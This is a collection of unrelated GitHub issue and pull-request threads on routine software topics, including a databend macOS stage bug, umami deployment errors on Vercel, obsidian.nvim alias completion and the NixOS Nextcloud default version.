Dir not create correctly on macOS

object.create() create a file not a dir even though path has a tailing / on macOS machine.
You can create a internal stage on macOS machine for reproducing it. Also I got fail when run stateless-test
05_0016_ddl_stage:                                                      [ FAIL ] - result differs with: --- /Users/kaichen/Documents/projects/databend/tests/suites/0_stateless/05_ddl/05_0016_ddl_stage.result 2022-03-15 15:35:05.000000000 +0800 +++ /Users/kaichen/Documents/projects/databend/tests/suites/0_stateless/05_ddl/05_0016_ddl_stage.stdout 2022-04-14 18:17:45.000000000 +0800 @@ -0,0 +1,2 @@ +ERROR 1105 (HY000) at line 5: Code: 4000, displayText = not a directory (object error: (op: create, path: /Users/kaichen/Documents/projects/databend/stateless_test_data/stage/test_stage_internal/, source: Not a directory (os error 20))). +ERROR 1105 (HY000) at line 9: Code: 2501, displayText = Unknown stage test_stage_internal(while drop stage).

All services have passed our behavior tests for test_create_dir, so I don't think the error is caused by create.
Please check if there is a file called /Users/kaichen/Documents/projects/databend/stateless_test_data/stage/test_stage_internal.

Yes, it is strange. It exists a file but not dir /Users/kaichen/Documents/projects/databend/stateless_test_data/stage/test_stage_internal

If you have running stateless_test before, try cleanup stateless_test_data and run it again.

If you have run stateless_test before, try cleanup stateless_test_data and run it again.

OK, it works. However why isn't make clean command remove this dir. Should I make a PR for add this to make clean task?

OK, it works. However why isn't make clean command remove this dir. Should I make a PR for add this to make clean task?

Sounds great, please do it!


output function from eqx.filter_grad expecting an argument that does not exist

Summary: arguments args work for f(args) but gives an error for eqx.filter_grad(f)(args) even when f is pure
I have a pretty complicated loss function which is why I am not posting the entire code here.
final_physics_loss(hyper_net=g,
                         u0s=u0s,
                         x_n=x,
                         n_steps=10,
                         dt=0.01,
                         epsilon=epsilon,
                         ic=ic_loaded,
                         meta_main_net=meta_f,
                         static_main_net=static_f,
                         n_picks=2,
                         keys=pick_keys)

When I call the loss function like this (above) it works and I get the output:
Array(0.04757731, dtype=float32)
But when I just add a filter_grad wrapper on the function without changing any argument:
eqx.filter_value_and_grad(final_physics_loss)(hyper_net=g,
                                   u0s = u0s,
                                   x_n = x,
                                   n_steps = 10,
                                   dt = 0.01,
                                   epsilon = epsilon,
                                   ic = ic_loaded,
                                   meta_main_net = meta_f,
                                   static_main_net=static_f,
                                   n_picks=2,
                                   keys=pick_keys)

I get the error:
 _ValueAndGradWrapper.__call__() missing 1 required positional argument: 'x'
I thought it might be due to my function being impure, but I have checked my code a few times now and I don't seem to find any scope issues. Has this happened before? Sorry if this is not the place for this

Sorry, just now figured out keywords dont transfer over with grad!


Display the platform of a image/container

Is your feature request related to a problem? Please describe.
I sometimes need to build some docker images on the linux/amd64 platform and push them to the private docker repository in my work. It would be nice to display the platform of a image or a container in OrbStack's GUI.
Describe the solution you'd like
Display the platform of a image or a container in OrbStack's GUI.
Describe alternatives you've considered
None.
Additional context
Just like this:

Duplicate of #440


Switch allow_anonymous from global to listener based config

Instead of switching authentication on or off globally with allow_anonymous = on/off, we should do it on a per-listener basis, like the following:
listener.tcp.my_listener.allow_anonymous = on
One specific use case this would enable is to use TLS Client certificates as proof of ID exclusively (without the need to turn off MQTT authentication plugins globally in case you don't want to do additional authentication having the Client cert already).

https://github.com/vernemq/vernemq/pull/1940


Update Protractor to 4.0.0

In version of Protractor actually in use (3.2.0, dated 18/03/2016), Protractor use a buggy version of Chromedriver (2.21), here a Stackoverflow issue ("session not created exception" error).
Protractor solves this with 4.0.0 using the webdriver-manager NPM package.

In fact, version 5.0.0 was released one day before you posted this!

I've been using Protractor 5 with this package, since the start of the week, and no issues yet.

The installation documentation only specifies "npm install --save-dev protractor-cucumber-framework", so it's the protractor-cucumber-framework package that installs the "protractor" package and because the dependencies it's "^3.2.0", normally you can't install version above major version n°3

@laurentperroteau protractor is actually not in the "dependencies" of this package. It's in the "devDependencies" so it only gets installed by this package if you are working on or testing this package. I had to install protractor in my package myself, and it's in my package.json.
On that note, technically this package should have protractor under "peerDependencies" to prevent the user from using it with incompatible versions of protractor. (But it doesn't seem like there have been any problems with this.)
Updating protractor I assumed meant bumping the version number on the dev dependency on protractor so that this package is tested with a more current version of protractor.

@mattbrunetti, thanks you and sorry for the mistake.


how to render json object in datagrid table

I have a data inside json object i just want to render the data in the datagrid with gridtype=form.
i have passed my json object in query attribute but not able to successfully load the data inside the grid.
I am using Angular 5. Please tell me the solution as i have been stucked on this since last 5 days.
@travist

Hello Sandeep,
This does require one of our developers to work with you or provide documentation. Please let us know if you are interested in our support package pricing. Thank you!

We're currently addressing a backlog of GitHub issues, and as part of this effort, some inactive issues may be marked as closed. This isn't a dismissal, but a step toward more efficient tracking.
If you feel the issue is still relevant, please re-open and we'll ensure it gets the attention it deserves. Your understanding is appreciated as we work to enhance our open-source responsiveness.


dashboard security

ipfilter
remove the "connectionstring"

I can certainly see the value of removing any password from the connection string. Are you suggesting using a ipFilter setting instead of (or in addition to) the AuthorizedUserList setting?

addition

I think thats a sound feature request and I'll get this prioritized. Keep in mind Pull requests are always welcome :)

I have started looking at an ip filter, and done some IP detection on my branch: https://github.com/madsstorm/RequestReduce/tree/ipfilter.
I imagine two config settings: "IpFilterList" for allowed IP's and "ProxyList" for IPs that should be ignored when looking the user-IP.

Nice, it is also important that the client ip is correct - ref: http://en.wikipedia.org/wiki/X-Forwarded-For

Thanks :)

I just deployed this. Great contribution. Thanks a ton!!

From: "Mads Storm Hansen"
<EMAIL_ADDRESS>b.com>
Sent: Monday, February 06, 2012 12:46 PM
To: "Matt Wrock"<EMAIL_ADDRESS>Subject: Re: [RequestReduce] dashboard security (#122)
When looking at HTTP headers, I chose the conservative way of starting at
the web server and moving backwards towards the client, stopping at the
first public IP.

Reply to this email directly or view it on GitHub:
https://github.com/mwrock/RequestReduce/issues/122#issuecomment-3836453


Requirements conflicts

Hi,
I am using your tool in my python pipelines, but I had a problem, that your requirements are too strict and I get conflict with many tools. Could you please reinvestigate if you must specify all packages on exact version?
Additionally, are you planning to shift into transformer3?
Thank you,
TK

Hey! Besides pytorch-transformers do you have any requirement that is giving you conflicts?
We plan to move to pytorch-transformers soon.

I have a conflict with several libraries, however, I created a temporary solution by having a second environment. But basically, transformers 3 was the main conflict which cannot be solved by downgrading, others conflicts were only in different versions (for example you don't use the latest pandas 1.1.4).
If the modules are not strictly reliable on given libraries, maybe could you be more relaxed with requirements? For example:
pandas==1.* instead of pandas==1.0.*
I know there could be conflicts introduced this way, but maybe not all modules have to be set on the exact version


Error 502 with deployment on Vercel

Hi everyone,
I wanted to deploy umami on Vercel.
I followed this guide:
https://umami.is/docs/running-on-vercel
Setup Deploy with Vercel
Automate steps 1-5 using the button above

Fork the https://github.com/mikecao/umami project to your GitHub account.
Create an account on Vercel.
From the dashboard page click Import Project then specify the URL to your fork of the project on GitHub.
Add the required environment variables DATABASE_URL and HASH_SALT. These values are defined in the Configure umami step from Install.
Deploy and visit your application at .vercel.app.
Follow the Getting started guide starting from the Login step and be sure to change the default password.

I tried to sign in with:
username: admin
password: umami
When trying to sign in, I get the following error:
{"error": {"code": "502", "message": "An error occurred with this application."}}
Any help is welcome!

I got that error message when the DATABASE_URL was wrong.

You should be able to go to the functions page to check the logs - there may be some helpful error message there to help with your situation

You should be able to go to the functions page to check the logs - there may be some helpful error message there to help with your situation

I had the same error on vercel.
Fixing the DATABASE_URL link did the trick (like @katokishin said).
Make sure the database is accessible remotely.

I had the same error on vercel.
Fixing the DATABASE_URL link did the trick (like @katokishin said).
Make sure the database is accessible remotely.

You should be able to go to the functions page to check the logs - there may be some helpful error message there to help with your situation

Checking the logs, I got this
[POST] /api/auth/login
2021-01-22T06:19:08.851Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	PrismaClientKnownRequestError2 [PrismaClientKnownRequestError]: The table public.account does not exist in the current database.    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)    at processTicksAndRejections (internal/process/task_queues.js:97:5) {  code: 'P2021',  clientVersion: '2.14.0',  meta: { table: 'public.account' }}
2021-01-22T06:19:08.851Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	PrismaClientKnownRequestError2 [PrismaClientKnownRequestError]: The table public.account does not exist in the current database.    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)    at processTicksAndRejections (internal/process/task_queues.js:97:5) {  code: 'P2021',  clientVersion: '2.14.0',  meta: { table: 'public.account' }}
2021-01-22T06:19:08.852Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	Unhandled Promise Rejection 	{"errorType":"Runtime.UnhandledPromiseRejection","errorMessage":"Error: The table public.account does not exist in the current database.","reason":{"errorType":"Error","errorMessage":"The table public.account does not exist in the current database.","code":"P2021","clientVersion":"2.14.0","meta":{"table":"public.account"},"stack":["Error: The table public.account does not exist in the current database.","    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)","    at processTicksAndRejections (internal/process/task_queues.js:97:5)"]},"promise":{},"stack":["Runtime.UnhandledPromiseRejection: Error: The table public.account does not exist in the current database.","    at process. (/var/runtime/index.js:35:15)","    at process.emit (events.js:326:22)","    at processEmit [as emit] (/var/task/node_modules/@prisma/client/runtime/index.js:22773:34)","    at processPromiseRejections (internal/process/promises.js:209:33)","    at processTicksAndRejections (internal/process/task_queues.js:98:32)"]}Unknown application error occurred
I am using a cloud shared postgresql database from ElephantSQL.

You should be able to go to the functions page to check the logs - there may be some helpful error message there to help with your situation

Checking the logs, I got this
[POST] /api/auth/login
2021-01-22T06:19:08.851Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	PrismaClientKnownRequestError2 [PrismaClientKnownRequestError]: The table public.account does not exist in the current database.    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)    at processTicksAndRejections (internal/process/task_queues.js:97:5) {  code: 'P2021',  clientVersion: '2.14.0',  meta: { table: 'public.account' }}
2021-01-22T06:19:08.851Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	PrismaClientKnownRequestError2 [PrismaClientKnownRequestError]: The table public.account does not exist in the current database.    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)    at processTicksAndRejections (internal/process/task_queues.js:97:5) {  code: 'P2021',  clientVersion: '2.14.0',  meta: { table: 'public.account' }}
2021-01-22T06:19:08.852Z	96483da7-3056-43bf-8c3d-5b7415404575	ERROR	Unhandled Promise Rejection 	{"errorType":"Runtime.UnhandledPromiseRejection","errorMessage":"Error: The table public.account does not exist in the current database.","reason":{"errorType":"Error","errorMessage":"The table public.account does not exist in the current database.","code":"P2021","clientVersion":"2.14.0","meta":{"table":"public.account"},"stack":["Error: The table public.account does not exist in the current database.","    at PrismaClientFetcher.request (/var/task/node_modules/@prisma/client/runtime/index.js:78130:15)","    at processTicksAndRejections (internal/process/task_queues.js:97:5)"]},"promise":{},"stack":["Runtime.UnhandledPromiseRejection: Error: The table public.account does not exist in the current database.","    at process. (/var/runtime/index.js:35:15)","    at process.emit (events.js:326:22)","    at processEmit [as emit] (/var/task/node_modules/@prisma/client/runtime/index.js:22773:34)","    at processPromiseRejections (internal/process/promises.js:209:33)","    at processTicksAndRejections (internal/process/task_queues.js:98:32)"]}Unknown application error occurred
I am using a cloud shared postgresql database from ElephantSQL.


feat: Added onSuccess prop to the AffinidiLoginButton component

The onSuccess prop allows a custom function to be executed once the auth process is successful. Once a user logs in successfully, the function is executed - such as redirecting user to a specific page or any other action needed.

:tada: This PR is included in version 1.0.6 :tada:
The release is available on:

GitHub release
npm package (@latest dist-tag)

Your semantic-release bot :package::rocket:


Support for existing aliases

🚀 The feature, motivation and pitch
Tl;dr: allow for autocompletion of existing aliases.
I'm using Obsidian as a worldbuilding/novel writing wiki, and I often have a number of terms or names for the same thing, e.g. the Detective page might have aliases: [Amanda Green, Detective Green, Mandy] in the header. This allows for:

backlinks all link to the same page
less duplication of content
allows for the text referring to the page to change depending on context, using the construct [[Detective|Detective Green]].

If I type [[Amanda in Obsidian, it will offer to autocomplete to [[Detective|Amanda Green]]. However, obsidian.nvim doesn't know about the alias, so it'll offer to create a new Amanda page. Furthermore, if I type [[Detective|Amanda Green]] manually, it'll offer to create a [[Detective|Amanda Green|Detective|Amanda Green]] reference.
I'd like obsidian.nvim to behave more like Obsidian here -- offer to autocomplete to existing aliases.
Alternatives
No response
Additional context
No response

Hey @escapewindow this must be a bug or something weird going on with your setup because it should work that way for you. It does for me. What happens if you type [[Detective? Do you get the autocomplete for Detective.md?

Yes, the filenames get autocomplete-suggested just fine. The existing aliases don't get suggested.
I did set disable_frontmatter since it kept changing my frontmatter in ways I didn't want it to; does that matter?

disable_frontmatter shouldn't affect the search results. I'm wondering if we have a YAML parsing issue. Can you post exactly what the frontmatter looks like for the note in question?

Aha, that's giving me ideas.
The frontmatter of the note in question is fairly simple and shouldn't have yaml parsing issues:
---
tags: [one, two]
alias: [three, four]
---

However, I have a python script that crawls my markdown files and parses the frontmatter, and I have to strip out the wiki links ([[ and ]]) before it can yaml parse many of the notes' frontmatter. I found that adding the wiki links helped in Obsidian, since it offers autocomplete, but it doesn't provide clickable links, backlinks, or the like, so I could strip all of those out if that's the culprit.

Ok, I've updated all of my frontmatter in all files, not just the ones where I can't complete aliases, so their frontmatter is yaml parsable. This meant removing tags (e.g. #todo) and wikilinks (e.g. [[link]]).
Still no alias completion from the alias: [three, four] list in the frontmatter. However, I can alias autocomplete from the first header in the file, even if it's not listed in the alias list.
Some questions:

Does this sound like a bug? If I disable_frontmatter and don't include the first header in the alias list, should it be included as an autocomplete alias?
I store a lot of extra non-obsidian yaml info in many of my headers, e.g. this template: Would this break the parsing?

---
Title:
Location:
Season:
tags: [scene-reference]
Characters:
POV:
Hook:
Scene:
- Goal:
- Conflict:
- Setback:
Sequel:
- Reaction:
- Dilemma:
- Decision:
Cliffhanger:
Summary:
Ideas / thoughts:
- What is the POV character trying to do in this scene? (the goal)
- Why is she trying to do it? (the motivation for that goal)
- What’s in the way of her doing it? (the conflict)
- What happens if she doesn’t do it? (the stakes)
- What goes wrong (or right)? (how the story moves forward)
- What important plot or story elements are in the scene? (what you need to remember or what affects future scenes)
---

To reduce variables, I've created https://github.com/escapewindow/obsidian-nvim-196 with a minimal testcase.
I added the Detective.md file, with only an alias. I added my obsidian.lua nvim config, only changing the 3 path lines.
[[Detective will suggest the [[Detective]] autocomplete; [[Amanda shows this:

Ah, okay this was definitely a YAML parsing issue. #199 should fix. Can you test that out when you get a chance?

Ah, okay this was definitely a YAML parsing issue. #199 should fix. Can you test that out when you get a chance?

That works! \o/
Thank you!


Lsp server name not getting displayed

this only happened recently and the status line stopped showing the active lsp client even tho there is one, for example here:

Hello @qbnil,
The functionality listing attached LSP clients has not changed for a long time. Implied in your issue is that this used to work for you but now does not?
Strange, I can not repeat this on my machines (Linux & macOS).
I installed lua_ls through Mason and it works for me for both Neovim 0.10 and 0.9.4, lua_ls is listed in the statusline unlike your -1.
Are you fully up-to-date, Neovim and all plugins? How is lua_ls installed? Mason or something else?
At the moment, I don't know how to debug this without a repeatable test case.
Hopefully you can provide more clues.

I just discovered that Neovim LSP API changed in 0.10 and some functions are removed in 0.11.
I was using one of the deprecated functions.
I suspect you may be using Neovim nightly.
Update to the newest version of linefly, there is a chance it will fix your issue. Let me know how it goes.

@qbnil,
Are you still experiencing the issue with the latest update?

Closing.


Change icon of Harmonia 📚

Summary
Change icon of app to 📚
Relevant Issues
closes #307
Screenshots

Before

After

Codecov Report

Merging #314 (5a88809) into master (2af78a7) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head 5a88809 differs from pull request most recent head 47a40cd. Consider uploading reports for the commit 47a40cd to get more accurate results

@@            Coverage Diff            @@
##             master     #314   +/-   ##
=========================================
  Coverage     60.18%   60.18%
  Complexity      482      482
=========================================
  Files            89       89
  Lines          1851     1851
  Branches        234      234
=========================================
  Hits           1114     1114
  Misses          660      660
  Partials         77       77

Impacted Files
Coverage Δ

src/main/java/seedu/address/ui/UiManager.java
0.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2af78a7...47a40cd. Read the comment docs.


Guide on how to use Events tab for Bots

Create a new section in the Bots documentation directory titled "Monitoring Bots" https://www.medplum.com/docs/bots
Add a step-by-step guide to navigating to the Bots tab and viewing the "Events"
Note that the events show the AuditEvents for each bot invocation, including whatever is printed to console
Note that you can also see Operation Outcome 0-4 which https://www.hl7.org/fhir/operationoutcome.html

Some more context in this short video: https://share.descript.com/view/z0DgO84nNpY

I'll work on this issue


User Unblacklist

unblacklist command added

Believe it or not, I failed doing the pushing thrice :anguished:

looks ok, thx


Change AttachmentType and DiskType to marshal to json as string.

Strings are more readable.  This adds support for Unmarshalling as
either a string or an int.  Having strings are nice for just dumping json
as a representation to show things.
When we encode the following disk to json:
disko.Disk{
    Name: "sda", Path: "/dev/sda",
    Size: 500*1024*1024, SectorSize: 512,
    Type: disko.HDD,
    Attachment: disko.ATA}

Here is before and after.   Note that attachment and type are now strings rather than ints.  Also, note that we can still un-serialize from integer or string.
--- Before ----         | ---- After -----
{                       | {
  "name": "sda",        |   "name": "sda",
  "path": "/dev/sda",   |   "path": "/dev/sda",
  "size": 524288000,    |   "size": 524288000,
  "sectorSize": 512,    |   "sectorsize": 512,
  "type": 0,            |   "type": "HDD",
  "attachment": 3       |   "attachment": "ATA"
}                       | }

@rchamarthy I'd like your thoughts on this... if we are using marshalJson on these objects out of REST api then maybe this is a bad idea.   But, even then... its not like 'type: 0' means much.

This seems like a general improvement to me.  Seeing 'type: 0' for a machine or a human is just not that useful.  Both the human and the machine can compare to other things as integer or string, but need this library to convert the integer to the meaningful string.
Internally, this seems a win all around.  The only issue I see is the fact if you dumped this object in a REST response directly, the consumer would be getting the string rather than the int.  But I don't really think that is a problem.


Implement layout extraction

In order to support https://github.com/MLDSAI/OpenAdapt/issues/157, we want to extract structured information from documents.
See https://huggingface.co/docs/transformers/model_doc/layoutlm for implementation (alternatives?)
We want a LayoutExtractionReplayStrategyMixin that implements:
def get_layout(image: ndarray)
# maybe screenshot, maybe something else

for the image param would it be called using the image property in Screenshots?


Update README.MD

update event name onFinishRenameItem
https://github.com/Zicrael/ngx-tree-dnd/#example-9

Good , thank you for finding error in readme.


Maintaining perspective

Per discussion with @nex3... @gcv and I have a vested interest in maintaining perspective. Should we be added as collaborators? Move the project to a new org (possibly breaking melpa, etc)? Etc.
This issue is here to open up the floor for discussion.

It would be better to avoid moving the project and breaking existing references to its current GitHub repository. There is enough confusion with perspective providing persp-mode, but co-existing with a fork called persp-mode which also provides persp-mode and has 20x more downloads on MELPA compared to mainline perspective-el (though the numbers are essentially the same on MELPA Stable for persp-mode and perspective.
I would like to hear about @nex3's views on the future of perspective.

I did say that I wanted to work on this project in a way that fit their original goals/philosophy. They seemed more concerned in handing it off to give it a good home. I would say it is 90% of the way there and just needs some maintenance from us to get it to the finish line.
As to why persp-mode (a fork of this mode) has 20x more downloads? meh. I tried them all out. This was the one that fit my workflow the most (esp w/ the PR I have up now). We can try to compete and/or fix up the confusion between the two if you want. Right now I'd rather make this project healthy and then fit my workflow better.

I'm cool with contributor access. I have no interest in competing with anyone's Emacs packages, but am open to any and all approaches to clearing up confusion.
The ticket list here has had some good ideas added over the years, and I could look into them as time permits.
I haven't reviewed your PR, but should be able to find time in the next week or two. I think the persp-state feature from #80 may need to be adapted to support created-time. It'd be great if you could review the PRs I opened, especially the bug fixes (as well as #86, where I prefer my solution to the one in the submitted patch).

cc @Bad-ptr, who maintains https://github.com/Bad-ptr/persp-mode.el and has expressed interest in merging the two
I definitely don't have time to maintain this anymore, and I'm happy to hand it off in whatever form the various stakeholders would prefer (giving access to this repo, archiving this and pointing to a fork, etc).

I'm fine with repo access / admin so I can work on tickets, merge PRs, etc. I'd rather it stay here.

Okay, I've sent both of you collaborator invites! @Bad-ptr, if you want one too, please let me know.

Thank you @nex3 for creating perspective!! We'll take good care of it.

@nex3 Thank you for perspective. It helps me a lot.

@nex3: Could you please enable Travis CI for the perspective-el repository? This requires owner-level permission. Thanks!

Done!


Create a page for weyan-lang on esolang wiki

Would you like to create an wiki page on esolang wiki?

Hi @tiansh . That would be pretty cool! Do you happen to be interested in creating it? That would be very much appreciated. If not, I can try creating it when I have time :)
Thanks.

I had created a draft. You may extend it when you have time.

Nice! Thanks a lot for the draft.

I've notice that wenyan-lang is still not in the Language list, maybe it's possible to be added in the future.


feat: TypeScript REPL

Problem
Previously, the REPL did not support TypeScript or any other transformations
closes https://github.com/esbuild-kit/esno/issues/20
Changes
Applies all transformations to REPL pre-evaluation

:tada: This PR is included in version 3.2.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Make subscribe aware of set handlers

subscribe currently subscribes to both, receipts and balance proofs. It should only subscribe to what handlers are set for. For the time being, we don't require it to be smart enough to add subscriptions if any handler is set after a subscribe call. It is sufficient that, if a user adds a new handler, they have to call subscribe again. This should also be documented in the API.

Duplicate of #142


https://github.com/sstone/amqp-client/issues/66

reference issue #66
I didn't see an example of a test of an exchange declaration.

Ok, LGTM, but can you try and come up with a simple test (like declare 2 exchanges, bind them, publish a message and check that it worked, ...) ? Or maybe reuse how this features is used in your project ?
Thanks


Show DLC icon if the effect of the option depends on DLC availability

Resolves #1632
Instead of hiding options if user doesn't have DLC show as read-only. Affects only 4 checkboxes.

Build zip

how do you make sure the options are not applied in game when DLC is absent? code path is not even reached?

how do you make sure the options are not applied in game when DLC is absent? code path is not even reached?

What do you mean by that?
I think you have missed very important line of code (line 17) which means that missing DLC will make the option disabled.
https://github.com/CitiesSkylinesMods/TMPE/blob/b93c30add87e2aeac27563a2f06fcc1a4392c62d/TLM/TLM/UI/Helpers/DLCRestrictedCheckboxOption.cs#L13-L18
If you ask what about if user have DLC and disabled it? Does it really a problem? Most of the time, especially with those two DLC savegame won't be loadable without those DLCs and.. user already had to have the DLC to enable the option in the first place, not to mention those settings are ignored when there is no DLC since the code is triggered by DLC content (e.g. evacuation buses may ignore arrows - you needs to have access to Evacuation bus and running disaster which requires DLC).

Just because UI is disabled doesn't mean the option won't return a value.


Update default to Nextcloud 20

In line 375 of the nextcloud nixos module the current default is nextcloud 19.
On the one hand, this is not represented in the documentation. On the other, this yields the error that there are unpatched security issues.

Retroactively changing the default on 20.09 is not just a breaking change, but effectively breaks the upgrade path from 20.03: the problem with Nextcloud (and the main reason for this complex package-selection thing) is that they don't support upgrades across multiple major releases (i.e. you can't go from v18 to v20).
The whole point of this .package option is that one can install an arbitrary Nextcloud version while we (as maintainers) can set "conservative" defaults for working upgrade paths. In your case it would be sufficient to set services.nextcloud.package = pkgs.nextcloud20;.
Regarding CVE-2020-8259 and CVE-2020-8152: both vulnerabilities affect the encryption module which is turned off by default (IIRC it can only be enabled in the admin UI anyways). It's unfortunate that Nextcloud upstream doesn't care about older yet still active majors and rates security issues as "Low" even though the CVEs are rated as "High" by e.g. NIST, but that's where we are.
In other words: if you don't use the affected features it's still OK to use nextcloud19 (which can be allowed by setting       nixpkgs.config.permittedInsecurePackages = ["nextcloud-19.0.6"];.

Retroactively changing the default on 20.09 is not just a breaking change, but effectively breaks the upgrade path from 20.03: the problem with Nextcloud (and the main reason for this complex package-selection thing) is that they don't support upgrades across multiple major releases (i.e. you can't go from v18 to v20).
The whole point of this .package option is that one can install an arbitrary Nextcloud version while we (as maintainers) can set "conservative" defaults for working upgrade paths. In your case it would be sufficient to set services.nextcloud.package = pkgs.nextcloud20;.
Regarding CVE-2020-8259 and CVE-2020-8152: both vulnerabilities affect the encryption module which is turned off by default (IIRC it can only be enabled in the admin UI anyways). It's unfortunate that Nextcloud upstream doesn't care about older yet still active majors and rates security issues as "Low" even though the CVEs are rated as "High" by e.g. NIST, but that's where we are.
In other words: if you don't use the affected features it's still OK to use nextcloud19 (which can be allowed by setting       nixpkgs.config.permittedInsecurePackages = ["nextcloud-19.0.6"];.

I see your point, thanks.
The issue is that I, as a user, install Nextcloud and see a security warning. Given the above, maybe the message could state that you may use the .package option and use nextcloud20. Would that be feasible? Or given the fact that 21.03 is 'around the corner' would it be worth it?

I see your point, thanks.
The issue is that I, as a user, install Nextcloud and see a security warning. Given the above, maybe the message could state that you may use the .package option and use nextcloud20. Would that be feasible? Or given the fact that 21.03 is 'around the corner' would it be worth it?

@veprbl why did you mark this as security-relevant? Both CVEs in question are disclosed by upstream and nixpkgs will warn about them by default. This is merely an issue with documentation and helpful warnings IMHO.

@veprbl why did you mark this as security-relevant? Both CVEs in question are disclosed by upstream and nixpkgs will warn about them by default. This is merely an issue with documentation and helpful warnings IMHO.

@Ma27 The issue seems to be about undocumented path towards using nextcloud while staying secure

@Ma27 The issue seems to be about undocumented path towards using nextcloud while staying secure

Yes, it's about documentation, no immediate action is pending to fix a security issue! Nextcloud versions with known vulnerabilities yield an evaluation error, this is primarily about suggesting what to do if one stumbles upon this.

Yes, it's about documentation, no immediate action is pending to fix a security issue! Nextcloud versions with known vulnerabilities yield an evaluation error, this is primarily about suggesting what to do if one stumbles upon this.


cpp failure: cpp-expand/9.c

Tracking issue: Fix failure of the test case introduced in https://github.com/cznic/sqlite2go/commit/009e2de130daf943a72d3af25a131bf0530731f6 of #7.

@steffengy First look into this:
jnml@4670:~/src/github.com/cznic/sqlite2go/internal/c99> gcc -o /dev/null testdata/cpp-expand/9.c
testdata/cpp-expand/9.c:3:15: warning: initializer element is not a constant expression [enabled by default]
 #define TEST3 (TEST42 >= 0x0502 || !defined (TESTBASE))
               ^
testdata/cpp-expand/9.c:8:12: note: in expansion of macro ‘TEST3’
 int TEST = TEST3;
            ^
jnml@4670:~/src/github.com/cznic/sqlite2go/internal/c99>

I think the problem is that after expansion, defined does not appear in a preprocessing directive while not being defined to be something else than a preprocesor magic pseudo function.
cpp seems to agree
jnml@4670:~/src/github.com/cznic/sqlite2go/internal/c99> cpp testdata/cpp-expand/9.c
# 1 "testdata/cpp-expand/9.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "testdata/cpp-expand/9.c"

int TEST = (0x0502 >= 0x0502 || !defined (1));

int main (void) {
 return 0;
}
jnml@4670:~/src/github.com/cznic/sqlite2go/internal/c99>

This does not look like a bug in c99/cpp.go to me. WDYT?

OTOH, the lhs of the || operator is statically non-zero, so maybe the front-end should just ignore the rhs? Not sure if that's ok when the rhs is otherwise invalid. GCC does not like that definitely, so maybe we should not either, and that's the current situation.

Yeap, I think I messed up the testcase. Sorry :(
Can you replace it with (this compiles with GCC without warnings):
#define TEST42 0x0502
#define TESTBASE 1
#define TEST3 (TEST42 >= 0x0502 || !defined (TESTBASE))
#define TEST4

#if TEST3 && defined (TEST4)
    int test = 4;
#endif

int main (void) {
	return test;
}

which also yields:
--- FAIL: TestCPPExpand (0.00s)
panic: c99.TypeKind [recovered]
        panic: c99.TypeKind

goroutine 18 [running]:
testing.tRunner.func1(0xc04220e2d0)
        C:/Go/src/testing/testing.go:742 +0x2a4
panic(0x623180, 0xc0421ccc10)
        C:/Go/src/runtime/panic.go:505 +0x237
github.com/cznic/sqlite2go/internal/c99.checkFn(0xc04220c080, 0x6b8c20, 0xc042068848, 0xc04207d7a0)
        D:/projects/Go/gopath/src/github.com/cznic/sqlite2go/internal/c99/ast2.go:1535 +0x29a
github.com/cznic/sqlite2go/internal/c99.(*Expr).eval(0xc0420c4620, 0xc04220c080, 0xc0420c4701, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)


Allow disabled parameter

Added a new attribute to disable the email field.

Rad, thanks!

Published to npm as<EMAIL_ADDRESS>


fix(rhino): stream edit view selection issues in rhino

Description:
Fixes 2 (unlogged) issues in DUI that were affecting the Rhino connector:

When the Speckle panel was closed and reopened and the user would click on a Stream, an exception was thrown about a visual parent being reused in Avalonia. This would also crash Rhino.
When copy-pasting across different Rhino documents (AND under some other unclear circumstances), the stream edit navigation would break. Nothing was happening when clicking on streams.

Solution:

A new view model is now generated each time the panel is initiated, instead of reusing one stored in the SpeckleRhinoConnectorPlugin class

note: now, if closing the panel and re-opening it, saved streams in DUI that have not been baked in the file will be lost, but this is probably a very rare use case

There was a duplicated HostScreen property in the StreamViewModel class! Deleting it seems to have solved the problem.

Release:
I've set to merge this in 2.9, but if required, we could cherry-pick the changes and backport them to 2.8 as well, I'll let @clairekuang decide 😊

The base was 2.9, so it might be easier to merge there and cherry pick to main, WDYT @AlanRynne ?

Let me do a local attempt and I'll see how bad it gets 😉

Rebased this branch onto main. Found no conflicts so I'm merging this in as soon as the CI passes (which it should...)

Failed rebase, some 2.9 features were pulled in during rebase, I'll have to cherry pick the commit and force push again.


Using a path helper now.

Now using a path helper.

@Eitredes One more small thing - could you double-check to see if multiple timeout checks are spawned when you switch between pages and/or controllers? I thought I saw this happen to me, but I'm not sure and don't have time to investigate right now.

You got it.
On 15-03-24 07:12 AM, David Liu wrote:

@Eitredes https://github.com/Eitredes One more small thing - could
you double-check to see if multiple timeout checks are spawned when
you switch between pages and/or controllers? I thought I saw this
happen to me, but I'm not sure and don't have time to investigate
right now.
—
Reply to this email directly or view it on GitHub
https://github.com/MarkUsProject/Markus/pull/2095#issuecomment-85511757.


Fix broken mirror link in cli.rst

This is meant to allow CI builds to run successfully when the mirror link in cli.rst is broken. It accomplishes this by changing the link into an html 'code' tag. The link is not meant to be clicked on; it is meant to be typed as a command line argument. This change makes the intention more explicit.
Additionally, this replaces the url with a working URL, in case anyone is tempted to copy it into the terminal.

On second thought, it might be useful to leave the mirror link as a link and not a code tag, so our CI will alert us when we need to update the link. I can change this if necessary.


Config type

